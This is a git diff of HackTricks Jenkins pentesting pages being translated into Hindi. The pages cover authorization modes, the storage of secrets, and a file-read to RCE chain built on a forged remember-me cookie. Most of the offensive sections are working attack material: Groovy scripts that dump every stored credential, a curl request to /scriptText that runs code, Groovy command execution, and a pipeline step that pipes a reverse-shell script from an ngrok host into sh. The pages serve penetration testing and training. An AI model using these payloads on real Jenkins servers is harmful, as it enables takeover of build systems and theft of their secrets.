+- **Legacy mode**: Jenkins <1.164 के समान। यदि आपके पास **"admin" भूमिका** है, तो आपको **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **गुमनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की पहुँच मिलेगी।
+- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किया हुआ उपयोगकर्ता Jenkins का पूर्ण नियंत्रण प्राप्त करता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है।
+- **Matrix-based security**: आप एक तालिका में **कौन क्या कर सकता है** कॉन्फ़िगर कर सकते हैं। प्रत्येक **स्तंभ** एक **अनुमति** का प्रतिनिधित्व करता है। प्रत्येक **पंक्ति** **एक उपयोगकर्ता या समूह/भूमिका का प्रतिनिधित्व करती है।** इसमें एक विशेष उपयोगकर्ता '**गुमनाम**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है, साथ ही '**प्रमाणित**', जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है।
.png>)
-- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
+- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए **अतिरिक्त ACL मैट्रिक्स को अलग से परिभाषित करने** की अनुमति देता है।
+- **Role-Based Strategy:** **भूमिका-आधारित रणनीति** का उपयोग करके अनुमतियों को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें।
## **Security Realm**
-In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
+`/configureSecurity` में **सुरक्षा क्षेत्र को कॉन्फ़िगर करना संभव है।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है:
-- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **Delegate to servlet container**: **Jenkins नियंत्रक चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को सौंपने के लिए**, जैसे [Jetty](https://www.eclipse.org/jetty/)।
+- **Jenkins’ own user database:** बाहरी प्रणाली को सौंपने के बजाय प्रमाणीकरण के लिए **Jenkins के अपने अंतर्निहित उपयोगकर्ता डेटा स्टोर** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है।
+- **LDAP**: एक कॉन्फ़िगर किए गए LDAP सर्वर को सभी प्रमाणीकरण सौंपें, जिसमें उपयोगकर्ता और समूह दोनों शामिल हैं।
+- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता डेटाबेस को प्रमाणीकरण के लिए सौंपता है। यह मोड अनुमतियों के लिए Unix समूहों के पुन: उपयोग की भी अनुमति देगा।
-Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
+प्लगइन्स अतिरिक्त सुरक्षा क्षेत्रों को प्रदान कर सकते हैं जो Jenkins को मौजूदा पहचान प्रणालियों में शामिल करने के लिए उपयोगी हो सकते हैं, जैसे:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
@@ -55,31 +55,31 @@ Plugins can provide additional security realms which may be useful for incorpora
## Jenkins Nodes, Agents & Executors
-Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
+[docs](https://www.jenkins.io/doc/book/managing/nodes/) से परिभाषाएँ:
-**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
+**Nodes** वे **मशीनें** हैं जिन पर निर्माण **एजेंट चलते हैं**। Jenkins प्रत्येक जुड़े हुए नोड की निगरानी करता है कि डिस्क स्थान, फ्री टेम्प स्पेस, फ्री स्वैप, घड़ी का समय/सिंक और प्रतिक्रिया समय। यदि इनमें से कोई भी मान कॉन्फ़िगर किए गए थ्रेशोल्ड से बाहर चला जाता है, तो एक नोड को ऑफ़लाइन ले लिया जाता है।
-**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
+**Agents** **Jenkins नियंत्रक की ओर से** **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**।
-An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
+एक **executor** **कार्य निष्पादन के लिए एक स्लॉट** है; वास्तव में, यह **एजेंट में एक थ्रेड है**। एक नोड पर **executors की संख्या** उस नोड पर एक समय में निष्पादित होने वाले **समानांतर कार्यों** की संख्या को परिभाषित करती है। दूसरे शब्दों में, यह उस नोड पर एक समय में निष्पादित होने वाले **समानांतर Pipeline `stages`** की संख्या को निर्धारित करता है।
## Jenkins Secrets
### Encryption of Secrets and Credentials
-Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
+[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** की सुरक्षा के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही मास्टर कुंजी जो इन कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम पर \_अनएन्क्रिप्टेड\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उस फ़ाइल तक सीधे पहुँच वाले हमलावरों के खिलाफ सुरक्षा नहीं करती है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` id के अनुरूप होता है। सामान्य कुंजी ids में शामिल हैं:
-- `hudson.util.Secret`: used for generic secrets;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret`: सामान्य गुप्तों के लिए उपयोग किया जाता है;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ क्रेडेंशियल प्रकारों के लिए उपयोग किया जाता है;
+- `jenkins.model.Jenkins.crumbSalt`: [CSRF सुरक्षा तंत्र](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) द्वारा उपयोग किया जाता है; और
### Credentials Access
-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project.
+क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) के लिए स्कोप किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर की गई परियोजना द्वारा एक्सेस किया जा सकता है, या उन्हें **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए स्कोप किया जा सकता है और इसलिए केवल विशिष्ट परियोजना से ही एक्सेस किया जा सकता है।
-According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
+[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर प्रिंट करने वाले कार्यक्रम **निर्माण लॉग में उन्हें प्रकट नहीं करेंगे** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी।
-**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
+**इसलिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।**
## References
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9d2b232e1..807789f0a 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+इस ब्लॉग पोस्ट में Jenkins में Local File Inclusion भेद्यता को RCE में बदलने का एक शानदार तरीका पाया जा सकता है: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+यह एक AI द्वारा बनाई गई संक्षेप है उस पोस्ट के भाग की जहां एक मनमाना कुकी का निर्माण RCE प्राप्त करने के लिए स्थानीय फ़ाइल पढ़ने का दुरुपयोग किया जाता है जब तक कि मेरे पास अपने स्वयं के संक्षेप को बनाने का समय न हो:
### Attack Prerequisites
-- **Feature Requirement:** "Remember me" must be enabled (default setting).
-- **Access Levels:** Attacker needs Overall/Read permissions.
-- **Secret Access:** Ability to read both binary and textual content from key files.
+- **Feature Requirement:** "Remember me" सक्षम होना चाहिए (डिफ़ॉल्ट सेटिंग)।
+- **Access Levels:** हमलावर को Overall/Read अनुमतियाँ चाहिए।
+- **Secret Access:** प्रमुख फ़ाइलों से बाइनरी और पाठ्य सामग्री पढ़ने की क्षमता।
### Detailed Exploitation Process
@@ -18,92 +18,88 @@ This is an AI created summary of the part of the post were the creaft of an arbi
**User Information Retrieval**
-- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- - **Username**
- - **User seed**
- - **Timestamp**
- - **Password hash**
+- प्रत्येक उपयोगकर्ता के लिए `$JENKINS_HOME/users/*.xml` से उपयोगकर्ता कॉन्फ़िगरेशन और रहस्यों तक पहुँचें:
+- **Username**
+- **User seed**
+- **Timestamp**
+- **Password hash**
**Secret Key Extraction**
-- Extract cryptographic keys used for signing the cookie:
- - **Secret Key:** `$JENKINS_HOME/secret.key`
- - **Master Key:** `$JENKINS_HOME/secrets/master.key`
- - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+- कुकी पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले क्रिप्टोग्राफिक कुंजियों को निकालें:
+- **Secret Key:** `$JENKINS_HOME/secret.key`
+- **Master Key:** `$JENKINS_HOME/secrets/master.key`
+- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
**Token Preparation**
-- **Calculate Token Expiry Time:**
+- **Token Expiry Time की गणना करें:**
- ```javascript
- tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
- ```
+```javascript
+tokenExpiryTime = currentServerTimeInMillis() + 3600000 // वर्तमान समय में एक घंटा जोड़ें
+```
-- **Concatenate Data for Token:**
+- **Token के लिए डेटा को संयोजित करें:**
- ```javascript
- token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- ```
+```javascript
+token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+```
**MAC Key Decryption**
-- **Decrypt MAC Key File:**
+- **MAC Key File को डिक्रिप्ट करें:**
- ```javascript
- key = toAes128Key(masterKey) // Convert master key to AES128 key format
- decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
- if not decrypted.hasSuffix("::::MAGIC::::")
- return ERROR;
- macKey = decrypted.withoutSuffix("::::MAGIC::::")
- ```
+```javascript
+key = toAes128Key(masterKey) // मास्टर कुंजी को AES128 कुंजी प्रारूप में परिवर्तित करें
+decrypted = AES.decrypt(macFile, key) // .mac फ़ाइल को डिक्रिप्ट करें
+if not decrypted.hasSuffix("::::MAGIC::::")
+return ERROR;
+macKey = decrypted.withoutSuffix("::::MAGIC::::")
+```
**Signature Computation**
-- **Compute HMAC SHA256:**
+- **HMAC SHA256 की गणना करें:**
- ```javascript
- mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
- tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
- ```
+```javascript
+mac = HmacSHA256(token, macKey) // टोकन और MAC कुंजी का उपयोग करके HMAC की गणना करें
+tokenSignature = bytesToHexString(mac) // MAC को हेक्साडेसिमल स्ट्रिंग में परिवर्तित करें
+```
**Cookie Encoding**
-- **Generate Final Cookie:**
+- **अंतिम कुकी उत्पन्न करें:**
- ```javascript
- cookie = base64.encode(
- username + ":" + tokenExpiryTime + ":" + tokenSignature
- ) // Base64 encode the cookie data
- ```
+```javascript
+cookie = base64.encode(
+username + ":" + tokenExpiryTime + ":" + tokenSignature
+) // कुकी डेटा को Base64 में एन्कोड करें
+```
#### Step 3: Code Execution
**Session Authentication**
-- **Fetch CSRF and Session Tokens:**
- - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+- **CSRF और सत्र टोकन प्राप्त करें:**
+- `/crumbIssuer/api/json` पर एक अनुरोध करें ताकि `Jenkins-Crumb` प्राप्त किया जा सके।
+- प्रतिक्रिया से `JSESSIONID` को कैप्चर करें, जिसका उपयोग याद रखने वाली कुकी के साथ किया जाएगा।
**Command Execution Request**
-- **Send a POST Request with Groovy Script:**
+- **Groovy Script के साथ POST अनुरोध भेजें:**
- ```bash
- curl -X POST "$JENKINS_URL/scriptText" \
- --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
- --header "Jenkins-Crumb: $CRUMB" \
- --header "Content-Type: application/x-www-form-urlencoded" \
- --data-urlencode "script=$SCRIPT"
- ```
+```bash
+curl -X POST "$JENKINS_URL/scriptText" \
+--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+--header "Jenkins-Crumb: $CRUMB" \
+--header "Content-Type: application/x-www-form-urlencoded" \
+--data-urlencode "script=$SCRIPT"
+```
- - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+- Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है।
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+उदाहरण curl कमांड दिखाता है कि आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध कैसे किया जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 8699b8159..c8ae2f0d2 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-You can **dump all the secrets from the Groovy Script console** in `/script` running this code
+> ध्यान दें कि ये स्क्रिप्ट केवल `credentials.xml` फ़ाइल के अंदर के रहस्यों को सूचीबद्ध करेंगी, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलों** में भी **अधिक क्रेडेंशियल्स** हो सकते हैं।
+आप `/script` में **Groovy Script कंसोल से सभी रहस्यों को डंप** करने के लिए यह कोड चला सकते हैं।
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
-
-#### or this one:
-
+#### या यह:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
- com.cloudbees.plugins.credentials.Credentials.class
+com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
- println(c.id)
- if (c.properties.description) {
- println(" description: " + c.description)
- }
- if (c.properties.username) {
- println(" username: " + c.username)
- }
- if (c.properties.password) {
- println(" password: " + c.password)
- }
- if (c.properties.passphrase) {
- println(" passphrase: " + c.passphrase)
- }
- if (c.properties.secret) {
- println(" secret: " + c.secret)
- }
- if (c.properties.secretBytes) {
- println(" secretBytes: ")
- println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
- println("")
- }
- if (c.properties.privateKeySource) {
- println(" privateKey: " + c.getPrivateKey())
- }
- if (c.properties.apiToken) {
- println(" apiToken: " + c.apiToken)
- }
- if (c.properties.token) {
- println(" token: " + c.token)
- }
- println("")
+println(c.id)
+if (c.properties.description) {
+println(" description: " + c.description)
+}
+if (c.properties.username) {
+println(" username: " + c.username)
+}
+if (c.properties.password) {
+println(" password: " + c.password)
+}
+if (c.properties.passphrase) {
+println(" passphrase: " + c.passphrase)
+}
+if (c.properties.secret) {
+println(" secret: " + c.secret)
+}
+if (c.properties.secretBytes) {
+println(" secretBytes: ")
+println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
+println("")
+}
+if (c.properties.privateKeySource) {
+println(" privateKey: " + c.getPrivateKey())
+}
+if (c.properties.apiToken) {
+println(" apiToken: " + c.apiToken)
+}
+if (c.properties.token) {
+println(" token: " + c.token)
+}
+println("")
}
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 89ca15223..015116338 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -2,42 +2,36 @@
{{#include ../../banners/hacktricks-training.md}}
-## Creating a new Pipeline
+## नया Pipeline बनाना
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** चुनें:
.png>)
-In the **Pipeline section** write the **reverse shell**:
+**Pipeline सेक्शन** में **reverse shell** लिखें:
.png>)
-
```groovy
pipeline {
- agent any
+agent any
- stages {
- stage('Hello') {
- steps {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
- '''
- }
- }
- }
+stages {
+stage('Hello') {
+steps {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+'''
+}
+}
+}
}
```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+अंत में **Save** पर क्लिक करें, और **Build Now** पर क्लिक करें और पाइपलाइन निष्पादित होगी:
.png>)
-## Modifying a Pipeline
+## पाइपलाइन को संशोधित करना
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित कर सकते हैं** और फिर इसे निष्पादित करें या इसके निष्पादित होने की प्रतीक्षा करें।
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index f16096070..3435b08c2 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -4,37 +4,33 @@
## Creating a Project
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+यह विधि बहुत शोर करती है क्योंकि आपको एक नया प्रोजेक्ट बनाना होता है (स्पष्ट है कि यह केवल तभी काम करेगा जब आपके उपयोगकर्ता को नया प्रोजेक्ट बनाने की अनुमति हो)।
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
- 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
- 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`**
+1. **एक नया प्रोजेक्ट बनाएं** (Freestyle project) "New Item" पर क्लिक करके या `/view/all/newJob` में।
+2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (इसे _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ का उपयोग करके पेलोड शुरू करें, _powershell_ का उपयोग न करें।
+3. **Build now** पर क्लिक करें।
+1. यदि **Build now** बटन नहीं दिखाई देता है, तो आप अभी भी **configure** --> **Build Triggers** --> `Build periodically` पर जा सकते हैं और `* * * * *` का क्रोन सेट कर सकते हैं।
+2. क्रोन का उपयोग करने के बजाय, आप "**Trigger builds remotely**" कॉन्फ़िगरेशन का उपयोग कर सकते हैं जहाँ आपको केवल नौकरी को ट्रिगर करने के लिए API टोकन नाम सेट करने की आवश्यकता है। फिर अपने उपयोगकर्ता प्रोफ़ाइल पर जाएं और **एक API टोकन उत्पन्न करें** (इस API टोकन को उसी नाम से कॉल करें जैसा आपने नौकरी को ट्रिगर करने के लिए API टोकन को कहा था)। अंततः, नौकरी को ट्रिगर करें: **`curl :@/job//build?token=`**
.png>)
## Modifying a Project
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+प्रोजेक्ट पर जाएं और जांचें **क्या आप उनमें से किसी को कॉन्फ़िगर कर सकते हैं** ( "Configure button" की तलाश करें):
.png>)
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+यदि आप **कोई** **कॉन्फ़िगरेशन** **बटन** नहीं देख सकते हैं तो आप **इसे कॉन्फ़िगर नहीं कर सकते** (लेकिन सभी प्रोजेक्ट्स की जांच करें क्योंकि आप उनमें से कुछ को कॉन्फ़िगर कर सकते हैं और कुछ को नहीं)।
-Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+या **पथ तक पहुँचने का प्रयास करें** `/job//configure` या `/me/my-views/view/all/job//configure` \_\_ प्रत्येक प्रोजेक्ट में (उदाहरण: `/job/Project0/configure` या `/me/my-views/view/all/job/Project0/configure`)।
## Execution
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+यदि आपको प्रोजेक्ट को कॉन्फ़िगर करने की अनुमति है तो आप **इसे सफल निर्माण पर कमांड निष्पादित करने के लिए बना सकते हैं**:
.png>)
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+**Save** पर क्लिक करें और प्रोजेक्ट को **build** करें और आपका **कमांड निष्पादित होगा**।\
+यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**।
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 33821cc03..6d5ed8d58 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,24 +4,21 @@
## Jenkins RCE with Groovy Script
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path_jenkins/script_
-2. Inside the text box introduce the script
+यह जेनकिंस में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है
+1. _path_jenkins/script_ पर जाएं
+2. टेक्स्ट बॉक्स के अंदर स्क्रिप्ट डालें
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
+आप एक कमांड का उपयोग करके निष्पादित कर सकते हैं: `cmd.exe /c dir`
-You could execute a command using: `cmd.exe /c dir`
+**लिनक्स** में आप कर सकते हैं: **`"ls /".execute().text`**
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
+यदि आपको टेक्स्ट के अंदर _कोट्स_ और _सिंगल कोट्स_ का उपयोग करने की आवश्यकता है। आप _"""PAYLOAD"""_ (ट्रिपल डबल कोट्स) का उपयोग करके पेलोड को निष्पादित कर सकते हैं।
